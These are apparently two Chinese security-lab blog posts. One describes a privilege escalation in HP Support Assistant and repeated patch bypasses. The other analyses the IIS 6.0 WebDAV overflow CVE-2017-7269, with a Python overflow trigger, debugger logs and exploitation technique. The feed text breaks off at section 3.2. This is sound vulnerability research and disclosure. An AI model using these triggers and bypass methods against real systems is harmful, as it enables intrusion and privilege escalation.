千里之堤毁于蚁穴,在看似缜密的认证逻辑中却存在安全漏洞:HPSupportSolutionsFrameworkService使用Process.MainModule.FileName获取Client的文件路径,随后验证其文件签名。然而,在C#中Process.MainModule.FileName是通过调用GetModuleFileName()索引进程的PEB (Process Environment Block)来获取模块路径的。PEB位于进程的用户空间中,因此可以被攻击者修改替换。攻击者只需在连接Server的Endpoint前修改PEB,使模块路径指向一个有效的HP签名文件即可绕过签名检测,最终通过认证。

漏洞利用

绕过HPSA Server的认证后,就可以调用绑定在此Endpoint上的服务接口函数了。接下来的工作就是从可用的服务接口函数中寻找可以利用的方法,实现权限提升。HPSupportSolutionsFrameworkService的服务接口函数实现在HP.SupportFramework.ServiceManager.ServiceTasks::ServiceTask中,大致浏览一遍接口函数发现UncompressCabFile服务接口可以用于任意文件写,DeleteFile服务接口可以用于任意文件删除。

UncompressCabFile的实现逻辑如下:

public bool UncompressCabFile(string cabFilePath, string destDirectory, string token)
{
    if (!\u0004.Instance.\u0001(SharedCommon.StringToSecureString(token)))
    {
        if (DebugLog.IsDebug)
        {
            DebugLog.LogDebugMessage("signature validation failure for UncompressCabFile", DebugLog.IndentType.None);
        }
        return false;
    }

    if (!File.Exists(cabFilePath))
    {
        return false;
    }

    if (!Validation.VerifyHPSignature(cabFilePath))
    {
        File.Delete(cabFilePath);
        return false;
    }

    string text = "\"" + cabFilePath + "\"";
    string text2 = "\"" + destDirectory + "\"";
    ProcessStartInfo processStartInfo = new ProcessStartInfo();
    processStartInfo.set_WindowStyle(1);
    processStartInfo.set_Arguments("-qq " + text + " -d " + text2);
    processStartInfo.set_FileName(SupportAssistantCommon.FrameworkPath + "Modules\\unzip.exe");
    Process process = new Process();
    process.set_StartInfo(processStartInfo);
    process.Start();
    process.WaitForExit();

    if (File.Exists(cabFilePath))
    {
        File.Delete(cabFilePath);
    }
    return true;
}

UncompressCabFile利用unzip.exe将压缩文件cabFilePath解压至destDirectory,在解压前首先验证了cab文件的签名。由于在签名验证和解压缩之间存在时间差,因此这里存在TOCTTOU(Time of Check To Time of Use)问题,可以利用条件竞争绕过签名检测将文件写入任意目录,最终可以实现权限提升。

DeleteFile的实现逻辑如下:

public void DeleteFile(string filePath, string token)
{
    if (\u0007.Instance.\u0001(SharedCommon.StringToSecureString(token)))
    {
        try
        {
            File.Delete(filePath);
            return;
        }
        catch (Exception ex)
        {
            if (DebugLog.IsDebug)
            {
                DebugLog.LogDebugMessage("exception in DeleteFile: " + ex.Message, DebugLog.IndentType.None);
            }
            return;
        }
    }

    if (DebugLog.IsDebug)
    {
        DebugLog.LogDebugMessage("token not valid in DeleteFile", DebugLog.IndentType.None);
    }
}

因此利用过程如下所述:
1. 修改PEB,将进程路径指向合法的HP签名程序
2. 通过反射机制获取HP.SupportFramework.ServiceManager.Interfaces命名空间中ServiceInterface类的get_Instance()方法
3. 实例化ServiceInterface
4. 调用ServiceInterface::UncompressCabFile服务接口,结合条件竞争实现权限提升

补丁实现和绕过1

漏洞报告后HP PSRT快速响应,并在半个月内通过邮件告知已经发布了新版来解决此安全漏洞。4月初,再次分析后发现新版本的HPSA依旧在使用everyone可写的NamePipe,笔者决定针对HP的修复再次分析。

通过短暂的逆向分析,定位了补丁修复位置。补丁在HP.SupportFramework.ServiceManager.Interfaces::ServiceInterface::get_Instance()中添加了如下逻辑:

StackFrame stackFrame = new StackFrame(1);
MethodBase method = stackFrame.GetMethod();
Type declaringType = method.get_DeclaringType();
string name = method.get_Name();

if (name.ToLowerInvariant().Contains("invoke"))
{
    string text2 = new \u0007().\u0001(Process.GetCurrentProcess());
    text2 = Uri.UnescapeDataString(Path.GetFullPath(text2));
    string text3 = Assembly.GetEntryAssembly().get_Location();
    text3 = Uri.UnescapeDataString(Path.GetFullPath(text3));
    if (text3.ToLowerInvariant() != text2.ToLowerInvariant())
    {
        if (DebugLog.IsDebug)
        {
            DebugLog.LogDebugMessage(string.Concat(new string[]
            {
                "Illegal operation. Calling process (",
                text3,
                ") is not the same as process invoking method  (",
                text2,
                ")"
            }), DebugLog.IndentType.None);
        }
        throw new Exception("Invoking methods is not allowed.");
    }
}

namespace \u0007
{
    // Token: 0x02000081 RID: 129
    internal sealed class \u0007
    {
        internal string \u0001(Process \u0002)
        {
            try
            {
                string result = \u0002.get_MainModule().get_FileName();
                return result;
            }
            …
        }
        …
    }
}

以上代码在实例化时,首先通过Assembly.GetEntryAssembly().get_Location()获取Client的文件路径,并与通过Process.MainModule.FileName方法获取的Client模块路径进行对比,如果不一致则抛出异常。

.Net的运行时环境规定,拥有同样标识的.Net程序集只能被加载一次。由于HP.SupportFramework.ServiceManager.dll已经被HPSupportSolutionsFrameworkService加载,所以HP的开发人员认为此举可以有效阻止攻击者通过修改PEB,并利用反射机制创建ServiceInterface来绕过认证。

然而,HP的.Net开发人员显然是忽视了进程空间的安全边界。此处所做的检测仍然位于Client进程空间,如同修改PEB那样,Client依旧拥有权限修改进程空间内的数据和代码。Client可以采取多种方案绕过检测:
1. 在实例化前,定位并修改HP.SupportFramework.ServiceManager.dll中的检测逻辑;
2. 自己实现与Server的交互,认证,服务接口调用等;
3. 静态Patch检测逻辑,并修改程序集HP.SupportFramework.ServiceManager.dll的标识,使修改后的文件可以被加载进Client进程空间。

其中方案3最为简洁,这里可以直接利用工具修改其判断逻辑为 if (text3.ToLowerInvariant() == text2.ToLowerInvariant()),并修改程序集的版本号(微软官方文档中描述了影响.Net可执行程序标识的属性包括:AssemblyCultureAttribute, AssemblyFlagsAttribute, AssemblyVersionAttribute [3])。最终实现对补丁的绕过,重新实现权限提升。

补丁实现和绕过2

又一次,将漏洞和修补方案报告给HP PSRT后,HP的开发人员从两个方面做了修补:
1. 对Client的认证方式做调整,Server不再使用Process.MainModule.FileName获取Client的文件路径,而是通过GetProcessImageFileName()来获取,避免从PEB获取到被篡改的Client文件路径。
2. 在UncompressCabFile和DeleteFile中,检查了参数里的文件/目录路径是否合法。

查看UncompressCabFile和DeleteFile里的文件/目录路径检测逻辑,发现其仅仅使用了字符串比较来检测路径是否合法,而不是对规范化后的路径进行检测。代码如下:

internal static bool \u0001(string \u0002)
{
    string[] array = new string[]
    {
        "AppData\\Local\\Hewlett-Packard\\HP Support Framework",
        Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData) + "\\Hewlett-Packard\\HP Support Framework",
        SupportAssistantCommon.MainAppPath,
        SupportAssistantCommon.FrameworkPath
    };
    string[] array2 = array;

    for (int i = 0; i < array2.Length; i++)
    {
        string text = array2[i];
        if (\u0002.ToLowerInvariant().Contains(text.ToLowerInvariant()))
        {
            return true;
        }
    }

    if (DebugLog.IsDebug)
    {
        DebugLog.LogDebugMessage("Invalid File detected: " + \u0002, DebugLog.IndentType.None);
    }
    return false;
}

因此这里使用目录穿越即可绕过路径检查。对Client的认证也很容易绕过,使用Hewlett-Packard安装目录里任意一个拥有有效签名的程序,将漏洞利用代码注入其中即可绕过对Client的认证检测。

最终,HP PSRT修正了路径检测的逻辑,增加了对目录穿越行为的检测,相关代码如下所示:

    internal static bool \u0002(string \u0002)
    {
        if (!Path.IsPathRooted(\u0002) || \u0002.StartsWith("\\") || \u0002.Contains("..") || \u0002.Contains(".\\"))
        {
            if (DebugLog.IsDebug)
            {
                DebugLog.LogDebugMessage("Invalid File detected: " + \u0002, DebugLog.IndentType.None);
            }
            return false;
        }
        return true;
    }

笔者在漏洞细节中建议HP PSRT彻查所有服务接口的安全性,对其参数进行正确的检测,以免再次被攻击者利用。

总结

安全漏洞会在软件生命周期(需求分析、设计、实现、维护等过程)内的各个阶段被引入,研发人员除了需要在设计和实现阶段避免安全漏洞外,还需要在出现漏洞后运用合理的修补方案。这里HPSA出现的问题就是在设计、实现、维护阶段共同引入的。

1). 设计阶段
也许是为了保证未签名程序也可以调用服务端的非敏感接口(例如DecryptFile, DeleteTempSession等未验证Client身份的服务接口),又或许是为了让Guest用户也可以对系统进行更新等操作。最终导致HPSA没有利用系统提供的访问权限检查机制[2]来隔离权限边界,使得软件从设计之初就引入安全风险。

2). 实现阶段
HPSA的开发人员未意识到通过Process.MainModule.FileName获取Client文件路径的不安全性,从而导致认证可以被绕过;也未意识到敏感服务接口的危险性,未对敏感服务接口的参数的合法性进行正确检测,从而导致可以被攻击者用于权限提升。事实上,任何试图通过进程对应的文件来检查进程安全性的做法都是存在安全隐患的。

3). 维护阶段
在对一个漏洞的三次修补过程中,HPSA的开发人员更是忽视了进程的安全边界,使用了多种错误的修补方案,导致补丁被多次绕过。

从这个漏洞的成因和多次修补可以看出,HP的开发人员存在对所用技术理解不到位,缺乏安全编程经验的问题。希望这篇文章能给研发人员带来安全编程的思考和经验的提升,不在设计、实现、维护阶段发生类似HPSA这样的一系列错误。

Timeline

  • 11/30/2016    Provide vulnerability details and PoC to HP Inc. via hp-security-alert@hp.com
  • 12/02/2016    HP Inc. responded that they had validated and opened case PSR-2016-0118 for the issue
  • 12/13/2016    HP Inc. released a fix for the reported issue
  • 01/04/2017    HP Inc. responded that the vulnerability was fixed
  • 01/05/2017    Ask for more information
  • 01/14/2017    HP Inc. responded that they are still investigating
  • 02/03/2017    HP Inc. responded that this issue can be automatically resolved, thus they don’t issue security bulletin and CVE numbers
  • 04/20/2017    Report the patch can be bypass. Provide vulnerability details and PoC to HP Inc.
  • 04/20/2017    HP Inc. responded that they had validated and opened case PSR-2017-0056 for the issue
  • 05/29/2017    HP Inc. responded that the fixed version will be released in mid-June 2017
  • 06/07/2017    HP Inc. published a new patch and asked me to confirm the vulnerability doesn’t exist
  • 06/07/2017    Report the patch can be bypass again. Provide vulnerability details and PoC to HP Inc. Also, provide some repair advice.
  • 06/15/2017    HP Inc. published a new patch and asked me to confirm the vulnerability doesn’t exist
  • 06/15/2017    Confirm the patch is valid. And recommend HP Inc. make sure there no other vulnerable functions can be exploited now, nor will be in the future.
  • 08/31/2017    HP Inc. published a security bulletin (https://support.hp.com/sk-en/document/c05648974) and issued a CVE (CVE-2017-2744).
  • 09/11/2017    Report the patch can be bypass with junction point. Provide vulnerability details to HP Inc.
  • 10/06/2017    HP Inc. responded that they restricted the directories within c:\program files\hewlett-packard\ to prevent the bypass.

Reference

1. Windows Communication Foundation Security
https://msdn.microsoft.com/en-us/library/ms732362(v=vs.110).aspx

2. Authentication and Authorization in WCF Services – Part 1
https://msdn.microsoft.com/en-us/library/ff405740.aspx

3. Setting Assembly Attributes
https://msdn.microsoft.com/en-us/library/4w8c1y2s(v=vs.110).aspx

]]>
深入分析NSA用了5年的IIS漏洞 //xlab.tencent.com/cn/2017/04/18/nsa-iis-vulnerability-analysis/ Tue, 18 Apr 2017 08:07:17 +0000 //xlab.tencent.com/cn/?p=274 继续阅读“深入分析NSA用了5年的IIS漏洞”]]> Author: Ke Liu of Tencent’s Xuanwu Lab

1. 漏洞简介

1.1 漏洞简介

2017年3月27日,来自华南理工大学的 Zhiniang Peng 和 Chen Wu 在 GitHub [1] 上公开了一份 IIS 6.0 的漏洞利用代码,并指明其可能于 2016 年 7 月份或 8 月份被用于黑客攻击活动。

该漏洞的编号为 CVE-2017-7269 [2],由恶意的 PROPFIND 请求所引起:当 If 字段包含形如 <http://localhost/xxxx> 的超长URL时,可导致缓冲区溢出(包括栈溢出和堆溢出)。

微软从 2015 年 7 月 14 日开始停止对 Windows Server 2003 的支持,所以这个漏洞也没有官方补丁,0patch [3] 提供了一个临时的解决方案。

无独有偶,Shadow Brokers 在2017年4月14日公布了一批新的 NSA 黑客工具,笔者分析后确认其中的 Explodingcan 便是 CVE-2017-7269 的漏洞利用程序,而且两个 Exploit 的写法如出一辙,有理由认为两者出自同一团队之手:

  • 两个 Exploit 的结构基本一致;
  • 都将 Payload 数据填充到地址 0x680312c0
  • 都基于 KiFastSystemCall / NtProtectVirtualMemory 绕过 DEP;

本文以 3 月份公布的 Exploit 为基础,详细分析该漏洞的基本原理和利用技巧。

1.2 原理概述

  • CStackBuffer 既可以将栈设置为存储区(少量数据)、也可以将堆设置为存储区(大量数据);
  • CStackBuffer 分配存储空间时,误将 字符数 当做 字节数 使用,此为漏洞的根本原因;
  • 因为栈上存在 cookie,不能直接覆盖返回地址;
  • 触发溢出时,改写 CStackBuffer 对象的内存,使之使用地址 0x680312c0 作为存储区;
  • 将 Payload 数据填充到 0x680312c0
  • 程序存在另一处类似的漏洞,同理溢出后覆盖了栈上的一个指针使之指向 0x680313c0
  • 0x680313c0 将被当做一个对象的起始地址,调用虚函数时将接管控制权;
  • 基于 SharedUserData 调用 KiFastSystemCall 绕过 DEP;
  • URL 会从 UTF-8 转为 UNICODE 形式;
  • Shellcode 使用 Alphanumeric 形式编码(UNICODE);

2. 漏洞原理

2.1 环境配置

在 Windows Server 2003 R2 Standard Edition SP2 上安装 IIS 并为其启用 WebDAV 特性即可。
为IIS启用WebDAV特性

修改 Exploit 的目标地址,执行后可以看到 svchost.exe 启动 w3wp.exe 子进程,后者以 NETWORK SERVICE 的身份启动了 calc.exe 进程 。
CVE-2017-7269 IIS远程代码执行漏洞exploit

2.2 初步调试

首先,为进程 w3wp.exe 启用 PageHeap 选项;其次,修改 Exploit 的代码,去掉其中的 Shellcode,使之仅发送超长字符串。

import socket

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('192.168.75.134',80))
pay='PROPFIND / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 0\r\n'
pay+='If: <http://localhost/aaaaaaa'
pay+='A'*10240
pay+='>\r\n\r\n'
sock.send(pay)

执行之后 IIS 服务器上会启动 w3wp.exe 进程(并不会崩溃),此时将 WinDbg 附加到该进程并再次执行测试代码,即可在调试器中捕获到 first chance 异常,可以得到以下信息:

  • httpext!ScStoragePathFromUrl+0x360 处复制内存时产生了堆溢出;
  • 溢出的内容和大小看起来是可控的;
  • 被溢出的堆块在 httpext!HrCheckIfHeader+0x0000013c 处分配;
  • 崩溃所在位置也是从函数 httpext!HrCheckIfHeader 执行过来的;
  • 进程带有异常处理,因此不会崩溃;
$$ 捕获 First Chance 异常
0:020> g
(e74.e80): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00005014 ebx=00002809 ecx=00000a06 edx=0781e7e0 esi=0781a7e4 edi=07821000
eip=67126fdb esp=03fef330 ebp=03fef798 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
httpext!ScStoragePathFromUrl+0x360:
67126fdb f3a5            rep movs dword ptr es:[edi],dword ptr [esi]

0:006> r ecx
ecx=00000a06

0:006> db esi
0781a7e4  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0781a7f4  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0781a804  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0781a814  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0781a824  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0781a834  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0781a844  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0781a854  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.

$$ 目标堆块分配调用栈
0:006> !heap -p -a edi
    address 07821000 found in
    _DPH_HEAP_ROOT @ 7021000
    in busy allocation (  DPH_HEAP_BLOCK:  UserAddr  UserSize - VirtAddr  VirtSize)
                                 7023680:   781e7d8      2828 -  781e000      4000
    7c83d97a ntdll!RtlAllocateHeap+0x00000e9f
    5b7e1a40 staxmem!MpHeapAlloc+0x000000f3
    5b7e1308 staxmem!ExchMHeapAlloc+0x00000015
    67125df9 httpext!CHeap::Alloc+0x00000017
    67125ee1 httpext!ExAlloc+0x00000008
    67125462 httpext!HrCheckIfHeader+0x0000013c
    6712561e httpext!HrCheckStateHeaders+0x00000010
    6711f659 httpext!CPropFindRequest::Execute+0x000000f0
    6711f7c5 httpext!DAVPropFind+0x00000047
    $$ ......

$$ 调用栈
0:006> k
ChildEBP RetAddr  
03fef798 67119469 httpext!ScStoragePathFromUrl+0x360
03fef7ac 67125484 httpext!CMethUtil::ScStoragePathFromUrl+0x18
03fefc34 6712561e httpext!HrCheckIfHeader+0x15e
03fefc44 6711f659 httpext!HrCheckStateHeaders+0x10
03fefc78 6711f7c5 httpext!CPropFindRequest::Execute+0xf0
03fefc90 671296f2 httpext!DAVPropFind+0x47
$$ ......

$$ 异常可以被处理,因此不会崩溃
0:006> g
(e74.e80): C++ EH exception - code e06d7363 (first chance)

2.3 CStackBuffer

崩溃所在模块 httpext.dll 会多次使用一个名为 CStackBuffer 的模板,笔者写了一份类似的代码,以辅助对漏洞原理的理解。为了简单起见,默认存储类型为 unsigned char,因此省略了模板参数 typename T

CStackBuffer 的相关特性如下:

  • 默认使用栈作为存储空间,大小由模板参数 SIZE 决定;
  • 通过 resize 可以将堆设置为存储空间;
  • 通过 fake_heap_size 的最低位标识存储空间的类型;
  • 通过 release 释放存储空间;
  • 对象的内存布局依次为:栈存储空间、堆块大小成员、存储空间指针;

CStackBuffer 的源码如下:

template<unsigned int SIZE>
class CStackBuffer
{
public:
    CStackBuffer(unsigned int size)
    {
        fake_heap_size = 0;
        heap_buffer = NULL;
        resize(size);
    }

    unsigned char* resize(unsigned int size)
    {
        if (size <= SIZE)
        {
            size = SIZE;
        }

        if (fake_heap_size >> 2 < size)
        {
            if (fake_heap_size & 1 || size > SIZE)
            {
                release();
                heap_buffer = (unsigned char*)malloc(size);
                fake_heap_size |= 1;
            }
            else
            {
                heap_buffer = buffer;
            }
            fake_heap_size = (4 * size) | (fake_heap_size & 3);
        }
        fake_heap_size |= 2;
        return heap_buffer;
    }

    void release()
    {
        if (fake_heap_size & 1)
        {
            free(heap_buffer);
            heap_buffer = NULL;
        }
    }

    unsigned char* get()
    {
        return heap_buffer;
    }

    unsigned int getFakeSize()
    {
        return fake_heap_size;
    }

private:
    unsigned char buffer[SIZE];
    unsigned int fake_heap_size;
    unsigned char* heap_buffer;
};

2.4 漏洞调试

根据之前的简单分析,可知 HrCheckIfHeader 是一个关键函数,因为:

  • 目标堆块是在这个函数中动态分配的;
  • 从这里可以执行到触发异常的函数 ScStoragePathFromUrl

函数 HrCheckIfHeader 简化后的伪代码如下所示:

int HrCheckIfHeader(CMethUtil *pMethUtil)
{
    CStackBuffer<260> buffer1;
    LPWSTR lpIfHeader = CRequest::LpwszGetHeader("If", 1);
    IFILTER ifilter(lpIfHeader);
    LPWSTR lpToken = ifilter->PszNextToken(0);

    while (1)
    {
        // <http://xxxxx>
        if (lpToken)
        {
            CStackBuffer<260> buffer2;
            // http://xxxx>
            LPWSTR lpHttpUrl = lpToken + 1;
            size_t length = wcslen(lpHttpUrl);
            if (!buffer2.resize(2*length + 2))
            {
                buffer2.release();
                return 0x8007000E;
            }

            // 将 URL 规范化后存入 buffer2
            // length = wcslen(lpHttpUrl) + 1
            // eax = 0
            int res = ScCanonicalizePrefixedURL(
                lpHttpUrl, buffer2.get(), &length);
            if (!res)
            {
                length = buffer1.getFakeSize() >> 3;
                res = pMethUtil->ScStoragePathFromUrl(
                    buffer2.get(), buffer1.get(), &length);
                if (res == 1)
                {
                    if (buffer1.resize(length))
                    {
                        res = pMethUtil->ScStoragePathFromUrl(
                            buffer2.get(), buffer1.get(), &length);
                    }
                }
            }
        }
        // ......
    }
    // ......
}

可以看出这里的关键函数为 CMethUtil::ScStoragePathFromUrl,该函数会将请求转发给 ScStoragePathFromUrl,后者简化后的伪代码如下所示:

typedef struct _HSE_UNICODE_URL_MAPEX_INFO {
    WCHAR lpszPath[MAX_PATH];
    DWORD dwFlags;        // The physical path that the virtual root maps to
    DWORD cchMatchingPath;// Number of characters in the physical path
    DWORD cchMatchingURL; // Number of characters in the URL
    DWORD dwReserved1;
    DWORD dwReserved2;
} HSE_UNICODE_URL_MAPEX_INFO, * LPHSE_UNICODE_URL_MAPEX_INFO;

int ScStoragePathFromUrl(
    const struct IEcb *iecb, 
    const wchar_t *buffer2, 
    wchar_t *buffer1, 
    unsigned int *length, 
    struct CVRoot **a5)
{
    wchar_t *Str = buffer2;
    // 检查是否为 https://locahost:80/path http://localhost/path
    // 返回 /path>
    int result = iecb->ScStripAndCheckHttpPrefix(&Str);
    if (result < 0 || *Str != '/') return 0x80150101;
    int v7 = wcslen(Str);

    // c:\inetpub\wwwroot\path
    // dwFlags          = 0x0201
    // cchMatchingPath  = 0x12
    // cchMatchingURL   = 0x00
    // result = 0
    HSE_UNICODE_URL_MAPEX_INFO mapinfo;
    result = iecb->ScReqMapUrlToPathEx(Str, &mapinfo);
    int v36 = result;
    if (result < 0) return result;

    // L"\x00c:\inetpub\wwwroot"
    // n == 0
    wchar_t *Str1 = NULL;
    int n = iecb->CchGetVirtualRootW(&Str1);
    if (n == mapinfo.cchMatchingURL)
    {
        if (!n || Str[n-1] && !_wcsnicmp(Str1, Str, n))
        {
            goto LABEL_14;
        }
    }
    else if (n + 1 == mapinfo.cchMatchingURL)
    {
        if (Str[n] == '/' || Str[n] == 0)
        {
            --mapinfo.cchMatchingURL;
            goto LABEL_14;
        }
    }
    v36 = 0x1507F7;
LABEL_14:
    if (v36 == 0x1507F7 && a5)      // a5 == 0
    {
        // ......
    }

    // 0x12
    int v16 = mapinfo.cchMatchingPath;
    if (mapinfo.cchMatchingPath)
    {
        // v17 = L"t\aaaaaaaAAA...."
        wchar_t *v17 = ((char*)&mapinfo - 2) + 2*v16;
        if (*v17 == '\\')
        {
            // ......
        }
        else if (!*v17)
        {
            // ......
        }
    }

    // v7 = wcslen(/path>)
    int v18 = v16 - mapinfo.cchMatchingURL + v7 + 1;
    int v19 = *length < v18;
    if (v19)
    {
        *length = v18;
        if (a5) 
        {
            // ......
        }
        result = 1;
    }
    else 
    {
        int v24 = (2*mapinfo.cchMatchingPath >> 2);
        qmemcpy(
            buffer1, 
            mapinfo.lpszPath, 
            4 * v24);
        LOBYTE(v24) = 2*mapinfo.cchMatchingPath;
        qmemcpy(
            &buffer1[2 * v24],
            (char*)mapinfo.lpszPath + 4 * v24,
            v24 & 3);
        qmemcpy(
            &buffer1[mapinfo.cchMatchingPath],
            &Str[mapinfo.cchMatchingURL],
            2 * (v7 - mapinfo.cchMatchingURL) + 2);
        for (wchar_t *p = &buffer1[mapinfo.cchMatchingPath]; *p; p += 2)
        {
            if (*p == '/') *p = '\\';
        }
        *length = mapinfo.cchMatchingPath - mapinfo.cchMatchingURL + v7 + 1;
        result = v36;
    }

    return result;
}

函数 HrCheckIfHeader 会调用 ScStoragePathFromUrl 两次,在第一次调用 ScStoragePathFromUrl 时,会执行如下的关键代码:

{
    wchar_t *Str = buffer2;
    // 返回 /path>
    int result = iecb->ScStripAndCheckHttpPrefix(&Str);
    int v7 = wcslen(Str);

    HSE_UNICODE_URL_MAPEX_INFO mapinfo;
    result = iecb->ScReqMapUrlToPathEx(Str, &mapinfo);

    // 0x12   L"c:\inetpub\wwwroot"
    int v16 = mapinfo.cchMatchingPath;

    //  v18 = 0x12 - 0 + wcslen('/path>') + 1 = 0x12 + 10249 + 1 = 0x281c
    int v18 = v16 - mapinfo.cchMatchingURL + v7 + 1;
    int v19 = *length < v18;
    if (v19)
    {
        *length = v18;
        if (a5) 
        {
            // ......
        }
        result = 1;
    }

    return result;
}

这里得到 v18 的值为 0x281c,而 *length 的值由参数传递,实际由 CStackBuffer::resize 计算得到,最终的值为 0x82,计算公式为:

fake_heap_size = 0;
size = 260;
fake_heap_size = (4 * size) | (fake_heap_size & 3);
fake_heap_size |= 2;

length = fake_heap_size >> 3;

显然有 0x82 < 0x281c,所以函数 ScStoragePathFromUrl*length 填充为 0x281c 并返回 1。实际上,这个值代表的是真实物理路径的字符个数

0x281c = 0x12 ("c:\inetpub\wwwroot") + 10248 ("/aaa..") + 1 ('>') + 1 ('\0')

HrCheckIfHeader 第二次调用 ScStoragePathFromUrl 之前,将根据 length 的值设置 CStackBuffer 缓冲区的大小。然而,这里设置的大小是字符个数,并不是字节数,所以第二次调用 ScStoragePathFromUrl 时会导致缓冲区溢出。实际上,调用 CStackBuffer::resize 的位置就是 httpext!HrCheckIfHeader+0x0000013c,也就是堆溢出发生时通过 !heap -p -a edi 命令得到的栈帧。

res = pMethUtil->ScStoragePathFromUrl(
    buffer2.get(), buffer1.get(), &length);
if (res == 1)
{
    if (buffer1.resize(length))    // httpext!HrCheckIfHeader+0x0000013c
    {
        res = pMethUtil->ScStoragePathFromUrl(
            buffer2.get(), buffer1.get(), &length);
    }
}

小结:

  • 函数 ScStoragePathFromUrl 负责将 URL 请求中的文件路径转换为实际的物理路径,函数的名字也印证了这一猜想;
  • 第一次调用此函数时,由于缓冲区大小不够,返回实际物理路径的字符个数;
  • 第二次调用此函数之前先调整缓冲区的大小;
  • 由于缓冲区的大小设置成了字符个数,而不是字节数,因此导致缓冲区溢出;
  • 两次调用同一个 API 很符合微软的风格(第一次得到所需的空间大小,调整缓冲区大小后再次调用);

3. 漏洞利用

3.1 URL 解码

在函数 HrCheckIfHeader 中,首先调用 CRequest::LpwszGetHeader 来获取 HTTP 头中的特定字段的值,该函数简化后的伪代码如下所示:

int CRequest::LpwszGetHeader(const char *tag, int a3)
{
    // 查找缓存
    int res = CHeaderCache<unsigned short>::LpszGetHeader(
        (char *)this + 56, tag);
    if (res) return res;

    // 获取值
    char *pszHeader = this->LpszGetHeader(tag);
    if (!pszHeader) return 0;

    int nHeaderChars = strlen(pszHeader);
    CStackBuffer<tagPROPVARIANT, 64> stackbuffer(64);
    if (!stackbuffer.resize(2 * nHeaderChars + 2))
    {
        // _CxxThrowException(...);
    }

    // 调用 ScConvertToWide 进行转换
    int v11 = nHeaderChars + 1;
    char* language = this->LpszGetHeader("Accept-Language");
    int v7 = ScConvertToWide(pszHeader, &v11, 
                             stackbuffer.get(), language, a3);
    if ( v7 ) // _CxxThrowException(...);

    // 设置缓存
    res = CHeaderCache<unsigned short>::SetHeader(
            tag, stackbuffer.get(), 0);
    stackbuffer.release();

    return res;
}

可以看出这里通过 CHeaderCache 建立缓存机制,此外获取到的值会通过调用 ScConvertToWide 来进行转换操作。事实上,ScConvertToWide 会调用 MultiByteToWideChar 对字符串进行转换。

MultiByteToWideChar(
    CP_UTF8, 
    0, 
    pszHeader, 
    strlen(pszHeader) + 1, 
    lpWideCharStr, 
    strlen(pszHeader) + 1);

由于存在编码转换操作,Exploit 中的 Payload 需要先进行编码,这样才能保证解码后得到正常的 Payload。字符串转换的调试日志如下所示:

0:007> p
eax=00000000 ebx=00000655 ecx=077f59a9 edx=077f5900 esi=0000fde9 edi=77e62fd6
eip=6712721f esp=03fef5b0 ebp=03fef71c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
httpext!ScConvertToWide+0x150:
6712721f ffd7            call    edi {kernel32!MultiByteToWideChar (77e62fd6)}

$$ 调用 MultiByteToWideChar 时的参数
0:007> dds esp L6
03fef5b0  0000fde9       $$ CP_UTF8
03fef5b4  00000000       $$ 0
03fef5b8  077f59a8       $$ pszHeader
03fef5bc  00000655       $$ strlen(pszHeader) + 1
03fef5c0  077f3350       $$ lpWideCharStr
03fef5c4  00000655       $$ strlen(pszHeader) + 1

$$ 转换前的字符串
0:007> db 077f59a8
077f59a8  3c 68 74 74 70 3a 2f 2f-6c 6f 63 61 6c 68 6f 73  <http://localhos
077f59b8  74 2f 61 61 61 61 61 61-61 e6 bd a8 e7 a1 a3 e7  t/aaaaaaa.......
077f59c8  9d a1 e7 84 b3 e6 a4 b6-e4 9d b2 e7 a8 b9 e4 ad  ................
077f59d8  b7 e4 bd b0 e7 95 93 e7-a9 8f e4 a1 a8 e5 99 a3  ................
077f59e8  e6 b5 94 e6 a1 85 e3 a5-93 e5 81 ac e5 95 a7 e6  ................
077f59f8  9d a3 e3 8d a4 e4 98 b0-e7 a1 85 e6 a5 92 e5 90  ................
077f5a08  b1 e4 b1 98 e6 a9 91 e7-89 81 e4 88 b1 e7 80 b5  ................
077f5a18  e5 a1 90 e3 99 a4 e6 b1-87 e3 94 b9 e5 91 aa e5  ................

0:007> p
eax=000003d1 ebx=00000655 ecx=0000b643 edx=00000000 esi=0000fde9 edi=77e62fd6
eip=67127221 esp=03fef5c8 ebp=03fef71c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
httpext!ScConvertToWide+0x152:
67127221 85c0            test    eax,eax

$$ 转换后的字符串
0:007> db 077f3350
077f3350  3c 00 68 00 74 00 74 00-70 00 3a 00 2f 00 2f 00  <.h.t.t.p.:././.
077f3360  6c 00 6f 00 63 00 61 00-6c 00 68 00 6f 00 73 00  l.o.c.a.l.h.o.s.
077f3370  74 00 2f 00 61 00 61 00-61 00 61 00 61 00 61 00  t./.a.a.a.a.a.a.
077f3380  61 00 68 6f 63 78 61 77-33 71 36 69 72 47 39 7a  a.hocxaw3q6irG9z
077f3390  77 4b 70 4f 53 75 4f 7a-68 48 63 56 54 6d 45 68  wKpOSuOzhHcVTmEh
077f33a0  53 39 6c 50 67 55 63 67-64 33 30 46 45 78 52 69  S9lPgUcgd30FExRi
077f33b0  31 54 58 4c 51 6a 41 72-31 42 35 70 50 58 64 36  1TXLQjAr1B5pPXd6
077f33c0  47 6c 39 35 6a 54 34 50-43 54 52 77 61 50 32 32  Gl95jT4PCTRwaP22

3.2 栈溢出

